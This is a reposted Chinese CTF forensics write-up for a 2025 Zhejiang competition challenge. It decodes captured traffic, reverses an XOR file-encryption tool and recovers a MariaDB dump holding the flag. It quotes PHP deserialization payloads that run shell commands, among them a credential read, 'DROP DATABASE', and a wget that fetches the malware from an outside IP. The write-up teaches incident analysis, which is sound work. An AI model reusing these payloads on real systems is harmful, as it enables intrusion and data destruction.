202508_浙江省网络安全测试职业职工技能竞赛_misc-1

news/2025/9/21 21:13:24/文章来源:https://www.cnblogs.com/JasonJHu/p/19104171

Tags:流量分析REXOR

0x00. 题目

你是一名资深的网络安全分析取证师,受命调查一家IT公司近期遭遇的一起严重网络安全事件。

该公司主要业务是为中小型企业提供定制化管理系统和数据分析服务。

由于该公司内部管理缺陷,导致未上线项目被放置在生产环境中,由于项目的未完成度较高,存在一定的安全漏洞。

昨日,在其开发成员测试时发现服务离线,数据库无响应,多次尝试无果后该公司安全部门介入,发现数据库已经被删库,同时备份文件也被疑似恶意程序加密。

安全部门第一时间隔离了该机器,并且使用文件管理系统下载了被加密的数据库文件。

我们在全流量设备中捕获到下面的流量,并且通过技术手段还原疑似恶意程序的样本。

现在,你需要还原攻击路径,分析恶意程序,尽快恢复数据库数据,找到其中的管理员账户,提交其passwd部分作为flag。


附件路径:https://pan.baidu.com/s/1GyH7kitkMYywGC9YJeQLJA?pwd=Zmxh#list/path=/CTF附件

附件名称:202508_浙江省网络安全测试职业职工技能竞赛_misc-1.zip

0x01. WP

1. 部分HTTP流量

图片

分析流量请求如下:

# urldecode-base64-base64
=====================
data=O:14:"ServiceUtility":3:{s:13:"processedData";s:4:"ls";s:22:" ServiceUtility config";a:2:{s:8:"logLevel";s:4:"INFO";s:12:"featureFlags";a:2:{s:17:"reporting_enabled";b:1;s:10:"debug_mode";b:0;}}s:7:"logFile";s:28:"/var/log/service_utility.log";}db_backup.sql
file.php
index.php
log
management_test.php
mysql.php
===================
data=O:14:"ServiceUtility":3:{s:13:"processedData";s:20:"cat mysql.php";s:22:" ServiceUtility config";a:2:{s:8:"logLevel";s:4:"INFO";s:12:"featureFlags";a:2:{s:17:"reporting_enabled";b:1;s:10:"debug_mode";b:0;}}s:7:"logFile";s:28:"/var/log/service_utility.log";}<?php
$servername = "127.0.0.1";
$username = "root";
$password = "123456";
$dbname = "ctf";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {die("连接失败: " . $conn->connect_error);
}
?>
===================
data=O:14:"ServiceUtility":3:{s:13:"processedData";s:64:"mysql -u root -p123456 -e "DROP DATABASE ctf;"";s:22:" ServiceUtility config";a:2:{s:8:"logLevel";s:4:"INFO";s:12:"featureFlags";a:2:{s:17:"reporting_enabled";b:1;s:10:"debug_mode";b:0;}}s:7:"logFile";s:28:"/var/log/service_utility.log";}===================
data=O:14:"ServiceUtility":3:{s:13:"processedData";s:48:"wget http://100.68.76.120:8000/ency";s:22:" ServiceUtility config";a:2:{s:8:"logLevel";s:4:"INFO";s:12:"featureFlags";a:2:{s:17:"reporting_enabled";b:1;s:10:"debug_mode";b:0;}}s:7:"logFile";s:28:"/var/log/service_utility.log";}--2025-07-12 22:01:13--  http://100.68.76.120:8000/ency
Connecting to 100.68.76.120:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 767136 (749K) [application/octet-stream]
Saving to: 'ency'0K .......... .......... .......... .......... ..........  6% 4.57M 0s50K .......... .......... .......... .......... .......... 13% 8.41M 0s100K .......... .......... .......... .......... .......... 20% 49.2M 0s150K .......... .......... .......... .......... .......... 26% 4.73M 0s200K .......... .......... .......... .......... .......... 33% 34.3M 0s250K .......... .......... .......... .......... .......... 40% 52.2M 0s300K .......... .......... .......... .......... .......... 46% 9.25M 0s350K .......... .......... .......... .......... .......... 53% 42.6M 0s400K .......... .......... .......... .......... .......... 60% 46.5M 0s450K .......... .......... .......... .......... .......... 66% 45.1M 0s500K .......... .......... .......... .......... .......... 73% 10.3M 0s550K .......... .......... .......... .......... .......... 80% 43.2M 0s600K .......... .......... .......... .......... .......... 86% 48.3M 0s650K .......... .......... .......... .......... .......... 93% 49.5M 0s700K .......... .......... .......... .......... ......... 100% 54.6M=0.05s2025-07-12 22:01:13 (15.4 MB/s) - 'ency' saved [767136/767136]
===================
data=O:14:"ServiceUtility":3:{s:13:"processedData";s:20:"chmod 777 ency";s:22:" ServiceUtility config";a:2:{s:8:"logLevel";s:4:"INFO";s:12:"featureFlags";a:2:{s:17:"reporting_enabled";b:1;s:10:"debug_mode";b:0;}}s:7:"logFile";s:28:"/var/log/service_utility.log";}===================
data=O:14:"ServiceUtility":3:{s:13:"processedData";s:4:"ls";s:22:" ServiceUtility config";a:2:{s:8:"logLevel";s:4:"INFO";s:12:"featureFlags";a:2:{s:17:"reporting_enabled";b:1;s:10:"debug_mode";b:0;}}s:7:"logFile";s:28:"/var/log/service_utility.log";}db_backup.sql
ency
file.php
index.php
log
management_test.php
mysql.php
===================
data=O:14:"ServiceUtility":3:{s:13:"processedData";s:32:"./ency -f db_backup.sql";s:22:" ServiceUtility config";a:2:{s:8:"logLevel";s:4:"INFO";s:12:"featureFlags";a:2:{s:17:"reporting_enabled";b:1;s:10:"debug_mode";b:0;}}s:7:"logFile";s:28:"/var/log/service_utility.log";}===================

发现主要加密命令为./ency -f db_backup.sql

2. 导出加密文件,并进行分析加密脚本

图片

尝试本地使用文本文件运行该脚本,发现类似XOR运算

root@kali:~/Desktop# chmod 777 ency
root@kali:~/Desktop# echo 123 > 123.txt
root@kali:~/Desktop# xxd 123.txt 
00000000: 3132 330a                                123.
root@kali:~/Desktop# ./ency -f 123.txt
root@kali:~/Desktop# xxd 123.txt 
00000000: 7dcb 2437                                }.$7
root@kali:~/Desktop# ./ency -f 123.txt
root@kali:~/Desktop# xxd 123.txt 
00000000: 3132 330a                                123.
root@kali:~/Desktop#

3. 尝试将导出的文件内容再次XOR运算

root@kali:~/Desktop# xxd -r -p db_hex.txt > sql.sql
root@kali:~/Desktop# ./ency -f sql.sql 
root@kali:~/Desktop# cat sql.sql
/*M!999999\- enable the sandbox mode */ 
-- MariaDB dump 10.19  Distrib 10.5.28-MariaDB, for debian-linux-gnu (x86_64)
--
-- Host: localhost    Database: ctf
-- ------------------------------------------------------
-- Server version       10.5.28-MariaDB-0+deb11u2/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;--
-- Table structure for table `flag`
--DROP TABLE IF EXISTS `flag`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `flag` (`id` varchar(300) DEFAULT NULL,`data` varchar(300) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;--
-- Dumping data for table `flag`
--LOCK TABLES `flag` WRITE;
/*!40000 ALTER TABLE `flag` DISABLE KEYS */;
INSERT INTO `flag` VALUES ('flag','flag{U_Ins3rt_&_I_c4tch_U}');
/*!40000 ALTER TABLE `flag` ENABLE KEYS */;
UNLOCK TABLES;--
-- Table structure for table `users`
--DROP TABLE IF EXISTS `users`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `users` (`id` varchar(300) DEFAULT NULL,`username` varchar(300) DEFAULT NULL,`password` varchar(300) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;--
-- Dumping data for table `users`
--LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES ('1','admin','900a29466b514e02b3022831b5a92c79'),('2','user_alpha','482c811da5d5b4bc6d497ffa98491e38'),('3','john_doe','bb77d0d3b3f239fa5db73bdf27b8d29a'),('4','jane_smith','06c219e5bc8378f3a8a3f83b4b7e4649'),('5','guest_user','0fb9cbecb7b8881511c69c39db643e8c'),('6','testuser_01','342df5b036b2f28184536820af6d1caf'),('7','developer_x','dc067f8a150df19383bc33d7ac9032f7'),('8','analyst_y','d6ad4995f74341687290bb92107a9c39'),('9','manager_z','1cd459b6c56534eeb2cf848bf151ce85'),('10','support_agent','288682ec5f2450588bb37a4523d11616'),('11','marketing_pro','e1fb50d7ed9ceae6caac7c51022f3645'),('12','sales_rep','cd26234360c3897cd563332b757393fd'),('13','hr_specialist','1352d599c37d71566eab74d2f7ecff42'),('14','finance_guy','9ff0398e281fa1e84850f6db699bec91'),('15','engineer_bob','ab337c34de23ee3b5a126419954ce825'),('16','designer_sue','79be69e97a4f153614d703a1c6cf7d83'),('17','qa_tester','33d08e374efa9be3b4872558de8036f0'),('18','product_owner','49b92ea844cf0b26f38725a70e878e31'),('19','scrum_master','4d514d555862b808ab75292ae7daf682'),('20','data_scientist','27819cfe72583a34d13a40bb74154c91');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;-- Dump completed on 2025-07-12 21:19:28
root@kali:~/Desktop# 

4. 提交admin对应MD5即可

5. 附:ency代码逆向

// 1. 解析命令行参数(仅支持 -f)
for (i = 0LL; ; i = optarg) {v7 = getopt(argc, argv, &unk_47A004); // 选项字符串可能为 "f:"if (v7 == -1) break;if (v7 != 'f') exit(1); // 非 -f 选项则退出
}// 2. 打开输入文件和临时输出文件
v6 = fopen64(i, "rb");      // 输入文件(由 -f 指定)
v5 = fopen64("/tmp/temp_encrypted_file", "wb"); // 临时输出文件// 3. 逐字节异或加密/解密
for (j = 0; ; j = (j + 1) % key_len) {v4 = getc(v6);          // 读取输入文件的一个字节if (v4 == -1) break;    // 文件结束则退出循环// 异或操作:明文/密文 ^ 密钥 -> 密文/明文fputc(v4 ^ encryption_key[j], v5); // 写入临时文件
}// 4. 替换原文件
fclose(v6);
fclose(v5);
rename("/tmp/temp_encrypted_file", i); // 覆盖原始文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/909055.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python爬虫测试

python爬虫测试0.背景:要下合适自己的驱动,不然都是报错!!你需要完成以下两步:检查你的 Chrome 浏览器版本。打开 Chrome,在地址栏输入 chrome://settings/help。 你会看到你的 Chrome 版本号,例如 版本 120.0.…

广二联考题解补全计划:

第十七套: T1:取模性质,倍增 T2: DP优化,状态优化 T3:容斥原理,数位DP T1: 首先先提一个关于取模的性质,一个数对一个比它小的数取模,大小一定减半,考虑对 $ \frac {n}{2}$ 分治即可。 我们先预处理出来每个数…

如何在 C# 中将文本转换为 Word 以及将 Word 转换为文本 - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

Chapter 8 Contour / Shape Detection

def getContours(img):contours, hierarchy = cv2.findContours(img, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)for cnt in contours:area = cv2.contourArea(cnt)print(area)if area > 500:# -1 代表所有的轮廓c…

【左程云算法笔记016】双端队列-双链表和固定数组实现 - 教程

【左程云算法笔记016】双端队列-双链表和固定数组实现 - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Cons…

LeetCode 几道 Promises 和 Time 的题目 - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

[硬件电路-232]:FET(场效应管)的核心机制是通过栅极电压调控半导体“沟道“中的载流子浓度与分布,进而控制源极与漏极之间的电流大小 - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

java相关问题:面向对象入门2与类的识别

1. 关于 static 修饰符 应该用 static 修饰的方法: *不依赖于特定对象的实例状态:执行的操作不访问或修改对象的实例变量。 *工具类方法:常用于定义工具类中的方法,这些方法提供通用功能,无需创建类实例。 *工厂方…

EXCEL自动调整列宽的快捷键

在 Excel 中,自动调整列宽的快捷键是:Windows 系统:先选中要调整的列(可选中单列或多列),然后按下 Alt + H + O + I(依次按下这些键)。 Mac 系统:先选中要调整的列,然后按下 Command + Option + H + O + I。…

【C++实战⑬】解锁C++文件操作:从基础到实战的进阶之路 - 实践

【C++实战⑬】解锁C++文件操作:从基础到实战的进阶之路 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Co…

破解塔吊顶升高危难题!让事故率降 50%、审批快 70%

在建筑施工领域,塔吊顶升作业作为关键且高危的环节,长期以来饱受诸多痛点的困扰,严重影响施工安全与进度。传统模式下,人工对塔吊顶升作业的审查多依赖现场巡检,然而人力有限,在忙碌的施工现场,难以做到时刻紧盯…

logicFlow________文档2

# LogicFlow 官方指南 - 自定义连线与事件处理## 📖 概述LogicFlow 是滴滴开源的一款流程图编辑框架,具有强大的扩展性和自定义能力。本文档基于LogicFlow官网最新版本,详细介绍如何实现自定义连线、自定义事件处理…

CF2086D Even String

题目链接:Problem - D - Codeforces 本身是一道数学题,我们可以把字符串中的奇数项和偶数项分开,形成两条序列 A 和 B。易知一种字母一定在同一条序列上。 假如说在 A 序列上分配了 \(a,b,c\) 三种字母,\(sum = c_…

logicflow___文档3

# LogicFlow 流程图编辑器开发文档## 📖 概述这是一个基于 LogicFlow 的流程图编辑器完整开发指南,包含详细的代码示例和实现方案。该编辑器支持节点创建、连接线绘制、关系管理等功能。## 🚀 快速开始### 1. 安装…

langraph-up-react

langraph-up-react https://github.com/fanqingsong/langraph-up-reactLangGraph ReAct Agent TemplateThis template showcases a ReAct agent implemented using LangGraph, works seamlessly with LangGraph Studio…

2025年运营商API安全建设最佳实践:某头部省级电信案例解析与方案推荐

2025年运营商API安全建设最佳实践:某头部省级电信案例解析与方案推荐运营商API安全需应对资产可视性缺失、动态风险防护不足、合规压力三大挑战。全知科技(Data-Sec)知影-API风险监测系统通过“规则引擎+AI引擎”双轮…

软件工程第二次作业-第一次个人编程作业

个人编程作业项目 内容这个作业属于哪个课程 [软件工程](首页 - 计科23级12班 - 广东工业大学 - 班级博客 - 博客园)这个作业要求在哪里 [作业要求](个人项目 - 作业 - 计科23级12班 - 班级博客 - 博客园)这个作业的目…

面向对象入门2与类的识别

一、什么样的方法应该用static修饰?不用static修饰的方法往往具有什么特性?Student的getName应该用static修饰吗?static 修饰方法的适用场景应该用 static 修饰的方法:方法与对象的状态无关,只依赖传入的参数完成…

202508_天山固网_to

流量分析,dvorak键盘解码, 大小写转二进制, BIN2QRCODETags:流量分析,dvorak键盘解码,大小写转二进制,BIN2QRCODE 0x00. 题目 【天山固网——2025网络安全技能竞赛】 children of stream 附件路径:https://pan.baid…

Java学生信息管理系统代码分析

Java学生信息管理系统代码分析学生信息管理系统代码分析 功能讲解 数据处理 该程序主要处理学生信息数据,包括学生的姓名、年龄、性别、学号、专业和 GPA 等信息。这些数据通过Student类的对象进行封装,并存储在Stud…